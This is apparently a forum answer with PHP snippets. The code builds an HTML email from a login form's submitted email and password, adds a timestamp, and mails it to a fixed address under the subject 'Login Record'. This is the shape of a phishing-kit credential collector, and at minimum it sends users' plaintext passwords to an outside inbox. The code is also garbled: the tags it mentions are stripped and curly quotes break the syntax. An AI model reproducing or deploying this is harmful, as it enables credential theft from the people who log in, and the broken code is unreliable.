What you would do is to convert the $message variable into an HTML format (replacing new line characters with
tags and adding spans for colouring):
[php]$message = ‘User Login
’;
$message .= 'user= ’ . $_POST[‘email’] . “
”;
$message .= 'pass= ’ . $_POST[‘password’] . “
”;
$message .= 'date_time= ’ . date(“d/m/Y (G:i)”);[/php]
Then add the HTML headers before the message is sent:
[php]$email = "[email protected]";
$to = ‘[email protected]’;
$subject = ‘Login Record’;
// ADD $message VARIABLE HERE!!!
$headers = ‘MIME-Version: 1.0’ . “\r\n”;
$headers .= ‘Content-type: text/html; charset=iso-8859-1’ . “\r\n”;
$headers .= 'From: ’ . $email . “\r\n”;
$result = mail($to, $subject, $message, $headers);
if($result) {
echo “Congratulations your email has been sent”;
} else {
echo “E-mail sending failed!”;
}[/php]